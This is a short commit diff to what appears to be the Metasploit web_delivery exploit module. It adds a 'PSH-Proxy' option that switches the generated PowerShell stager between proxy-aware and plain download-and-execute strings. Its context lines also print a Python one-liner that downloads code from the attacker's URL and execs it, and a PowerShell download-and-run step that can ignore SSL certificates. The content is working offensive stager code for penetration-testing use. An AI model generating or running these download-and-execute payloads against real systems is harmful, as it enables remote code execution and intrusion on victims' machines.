Add PSH-Proxy to multi/script/web_delivery

Author: g0tmi1k

modules/exploits/multi/script/web_delivery.rb

@@ -62,6 +62,12 @@ def initialize(info = {})
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Jul 19 2013'
     ))
+
+  register_advanced_options(
+    [
+      OptBool.new('PSH-Proxy', [ true, 'PowerShell - Use the system proxy', true ])
+    ], self.class
+  )
   end
 
   def on_request_uri(cli, _request)
@@ -89,7 +95,7 @@ def primer
       print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
     when 'PSH'
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
-      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
+      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
       download_and_run = "#{ignore_cert}#{download_string}"
       print_line generate_psh_command_line(
                                              noprofile: true,